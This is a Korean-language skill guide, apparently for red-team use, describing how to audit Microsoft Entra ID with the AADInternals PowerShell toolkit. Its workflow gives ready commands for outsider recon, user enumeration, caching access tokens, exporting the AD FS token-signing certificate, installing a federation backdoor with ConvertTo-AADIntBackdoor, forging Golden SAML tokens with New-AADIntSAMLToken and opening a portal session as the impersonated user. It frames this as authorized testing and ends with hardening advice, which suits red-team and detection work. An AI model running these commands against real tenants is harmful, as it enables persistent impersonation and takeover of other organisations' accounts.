AADInternals를 이용한 Entra ID 감사은(는) 무엇을 하나요?
법적 고지: 이 스킬은 공인된 보안 테스트, 레드팀 작업 및 교육 목적으로만 사용됩니다. AADInternals는 SAML 토큰을 위조하고 테넌트 사용자의 영구적인 가장을 허용하는 페더레이션 백도어를 설치할 수 있습니다. 소유하고 있거나 명시적인 서면 승인(작업 규칙)을 받은 테넌트에 대해서만 사용하십시오. 무단 사용은 컴퓨터 사기 및 남용 방지법 및 이에 준하는 법률을 위반합니다.
개요
AADInternals는 Dr. Nestori Syynimaa(Gerenios / Secureworks)가 작성한 Microsoft Entra ID(이전의 Azure AD), Azure AD Connect 및 Active Directory Federation Services(AD FS)를 위한 가장 포괄적인 공격/관리용 PowerShell 툴킷입니다. 모든 cmdlet은 AADInt 접두사를 가지며, 인증되지 않은 외부 정찰, 모든 Microsoft API에 대한 액세스 토큰 획득, 디렉토리 조작, AD FS/PTA 공격, 그리고 이 툴킷이 가장 유명한 기술인 페더레이션 백도어를 포함합니다. 이 백도어는 Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor 경로를 악용하여 페더레이션된 도메인의 IssuerUri를 제어하는 공격자가 임의의 사용자에 대한 SAML 토큰을 발행할 수 있게 합니다. 이는 MITRE ATT&CK **T1606.002(웹 자격 증명 위조: SAML 토큰)**에 매핑되며, SolarWinds(골든 SAML) 침해 사건에 사용된 동일한 기술 클래스입니다.
툴킷은 필요한 권한 위치에 따라 기능을 분리합니다. Invoke-AADIntReconAsOutsider와 Get-AADIntLoginInformation은 자격 증명이 필요 없습니다. 공개 엔드포인트(getuserrealm, OpenID 구성, autodiscover)를 쿼리하여 검증된 도메인, 테넌트 ID, 페더레이션 유형, 브랜드, 데스크톱/Seamless SSO 활성화 여부를 확인합니다. Get-AADIntAccessTokenFor* cmdlet은 Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management 등에 대한 토큰을 획득하고 선택적으로 캐시하여 후속 cmdlet이 재사용할 수 있도록 합니다. 전역 관리자(또는 동기화된 AD Connect 계정) 권한이 있으면 디렉토리 비밀을 읽고, 사용자를 조작하며, 페더레이션 백도어를 설정할 수 있습니다.
이 스킬은 방어적 검증 관점에서 AADInternals를 구동합니다. 외부 공격자가 무엇을 알 수 있는지, 낮은 권한의 토큰이 어디까지 접근 가능한지, 페더레이션/AD FS 구성이 골든 SAML을 허용하는지 확인한 후 증거 및 강화 권장 사항을 생성합니다.
사용 시기
- 공인된 Entra ID / Microsoft 365 레드팀 또는 가정된 침해 평가 중
- 자격 증명 공격 전에 외부 공격 표면(검증된 도메인, 페더레이션 유형, SSO)을 열거해야 할 때
- 페더레이션 및 AD FS 토큰 서명 인증서가 골든 SAML로부터 보호되는지 확인해야 할 때
- Microsoft 자사 API 전반에 걸친 토큰 획득 및 재생을 테스트해야 할 때
- 탐지 체계를 구축 중이고(블루팀 Graph 로그 헌팅 스킬과 함께 사용) 실제 AADInternals 원격 측정이 필요할 때
전제 조건
- ID 공격 및 페더레이션 백도어 테스트를 포함하는 서면 승인
- PowerShell 5.1+ (또는 지원되는 하위 집합에서 PowerShell 7)가 설치된 Windows 호스트
- 백도어/페더레이션 테스트: 대상 테넌트의 전역 관리자(또는 이에 상응하는 권한), 작업 규칙 내 범위
- PowerShell 갤러리에서 모듈 설치:
Install-Module AADInternals -Scope CurrentUser Import-Module AADInternals # 플랫폼 간 AsOutsider 전용 재구현(자격 증명 불필요)도 사용 가능: # https://github.com/synacktiv/AADOutsider-py - SAML/WS-Federation, OAuth 토큰, Azure AD Connect에 대한 지식
목표
- 인증되지 않은 테넌트 정찰 수행 및 검증된 도메인, 테넌트 ID, 페더레이션 유형 열거
- Microsoft 자사 API에 대한 액세스 토큰 획득 및 캐싱
- 인증된 토큰으로 사용자/그룹/역할 열거
- 통제되고 승인된 방식으로 페더레이션 백도어 / 골든 SAML 경로 테스트
- 노출 사항 문서화 및 강화 권장 사항 제공(토큰 서명 인증서 보호, 페더레이션 모니터링)
MITRE ATT&CK 매핑
| ID | 기술 | 이 스킬에서의 적용 |
|---|---|---|
| T1606.002 | 웹 자격 증명 위조: SAML 토큰 | ConvertTo-AADIntBackdoor + New-AADIntSAMLToken이 제어된 페더레이션 IssuerUri를 통해 임의 사용자에 대한 SAML 토큰을 위조합니다(골든 SAML) |
관련 기술: T1087.004 계정 발견: 클라우드 계정(정찰), T1528 애플리케이션 액세스 토큰 도용(토큰 획득), T1556.007 인증 프로세스 수정: 하이브리드 ID(페더레이션/PTA 백도어).
워크플로
1단계: 인증되지 않은 외부 정찰
자격 증명이 필요하지 않습니다. 검증된 도메인, 테넌트 ID, 페더레이션 유형, 브랜드, SSO 상태를 식별합니다.
# 도메인에 대한 전체 외부 정찰(테이블 출력)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table
# 로그인/영역 세부 정보: 페더레이션 vs 관리형, AuthURL, 브랜드
Get-AADIntLoginInformation -Domain "target.com"
# 테넌트 GUID
Get-AADIntTenantID -Domain "target.com"
2단계: 외부 사용자 열거(선택 사항, 시끄러움)
GetCredentialType/autologon 엔드포인트를 통해 사용자 이름이 존재하는지 확인합니다.
# 후보 UPN 목록을 제공하여 존재 여부 테스트
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# 또는 여러 개를 파이프로 연결:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
3단계: 액세스 토큰 획득 및 캐싱
유효한 자격 증명(또는 대화형 프롬프트)으로 필요한 API에 대한 토큰을 얻습니다. -SaveToCache를 사용하면 이후 cmdlet이 토큰을 자동으로 재사용할 수 있습니다.
# Azure AD Graph(레거시 graph.windows.net) 토큰, 캐시됨
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph
# Exchange Online
$exo = Get-AADIntAccessTokenForEXO
4단계: 인증된 디렉토리 열거
캐시되거나 획득된 토큰을 사용하여 디렉토리 개체를 읽어 권한을 매핑합니다.
# 전역 테넌트 정보(캐시된 AAD Graph 토큰 사용)
Get-AADIntTenantDetails
# 사용자 열거 및 권한 있는/동기화된 계정 확인
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId
5단계: 페더레이션 / AD FS 구성 검사
테넌트가 페더레이션된 도메인을 사용하는지, 토큰 서명 키가 어디에 있는지 확인합니다. 이는 골든 SAML의 전제 조건입니다.
# AD FS 서버에 액세스할 수 있는 경우 토큰 서명 인증서 내보내기
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# AD FS 구성/암호화 키 읽기(AD FS 상자 또는 DKM을 통해)
Get-AADIntADFSConfiguration -Server adfs.target.com
6단계: 페더레이션 백도어 / 골든 SAML(승인된 경우에만)
알려진 IssuerUri를 설정하여 도메인을 백도어로 변환한 후 해당 도메인의 ImmutableId를 사용하여 대상 사용자에 대한 SAML 토큰을 위조합니다. 명시적 승인이 있는 통제된 테넌트에서만 수행하십시오.
# 3단계에서 캐시된 전역 관리자 토큰(AAD Graph) 필요
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# 출력에는 토큰 위조 시 재사용할 IssuerUri가 포함됩니다.
# 사용자를 가장하는 SAML 토큰 위조(ImmutableId는 Get-AADIntUsers에서 가져옴)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
-Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate
# 위조된 토큰을 사용하여 가장된 사용자로 포털 세션 열기
Open-AADIntOffice365Portal -SAMLToken $saml
7단계: 노출 문서화 및 강화
정찰 결과, 도달 가능한 토큰/API, 백도어/골든 SAML 경로 성공 여부를 기록합니다. 권장 사항: AD FS 토큰 서명 인증서 보호(HSM, 제한된 DKM 액세스), 새 페더레이션 트러스트 변경/추가에 대한 경고, Set-DomainAuthentication/Set-MsolDomainFederationSettings 모니터링, 가능한 경우 관리형(클라우드) 인증으로 마이그레이션.
도구 및 리소스
| 리소스 | 목적 | 출처 |
|---|---|---|
| AADInternals | Entra ID / AD FS 공격 및 관리 툴킷 | https://github.com/Gerenios/AADInternals |
| AADInternals 문서 | Cmdlet 참조 및 기술 문서 | https://aadinternals.com/aadinternals/ |
| AADOutsider-py | 플랫폼 간 AsOutsider 재구현 | https://github.com/synacktiv/AADOutsider-py |
| 골든 SAML 배경 | 페더레이션 백도어 기술 문서 | https://aadinternals.com/post/aadbackdoor/ |
| MITRE T1606.002 | 웹 자격 증명 위조: SAML 토큰 | https://attack.mitre.org/techniques/T1606/002/ |
Cmdlet 빠른 참조
| Cmdlet | 위치 | 목적 |
|---|---|---|
Invoke-AADIntReconAsOutsider | 없음 | 검증된 도메인, 테넌트 ID, 페더레이션 유형, SSO |
Get-AADIntLoginInformation | 없음 | 도메인에 대한 영역/로그인 세부 정보 |
Get-AADIntTenantID | 없음 | 테넌트 GUID |
Invoke-AADIntUserEnumerationAsOutsider | 없음 | 사용자 존재 여부 확인 |
Get-AADIntAccessTokenForAADGraph | 자격 증명 | Azure AD Graph 토큰 (-SaveToCache) |
Get-AADIntAccessTokenForMSGraph | 자격 증명 | Microsoft Graph 토큰 |
Get-AADIntAccessTokenForEXO | 자격 증명 | Exchange Online 토큰 |
Get-AADIntUsers | 토큰 | 디렉토리 사용자 열거 |
ConvertTo-AADIntBackdoor | 전역 관리자 | 도메인을 페더레이션 백도어로 변환 |
New-AADIntSAMLToken | 백도어 | 사용자에 대한 SAML 토큰 위조(골든 SAML) |
Open-AADIntOffice365Portal | SAML 토큰 | 가장된 사용자로 포털 세션 열기 |
검증 기준
- 외부 정찰 완료; 검증된 도메인, 테넌트 ID, 페더레이션 유형 기록됨
- 사용자 열거 테스트됨(또는 범위 외로 문서화)
- 하나 이상의 Microsoft API에 대한 액세스 토큰 획득 및 캐싱됨
- 인증된 디렉토리 열거 수행됨(사용자/역할, 동기화된 계정 기록)
- 페더레이션 / AD FS 구성이 토큰 서명 키 노출에 대해 평가됨
- 백도어 / 골든 SAML 경로가 승인된 통제된 테넌트에서 테스트되거나 범위 외로 문서화됨
- 노출 사항이 구체적인 영향과 함께 문서화됨
- 강화 권장 사항 제공됨(인증서 보호, 페더레이션 모니터링, 관리형 인증 마이그레이션)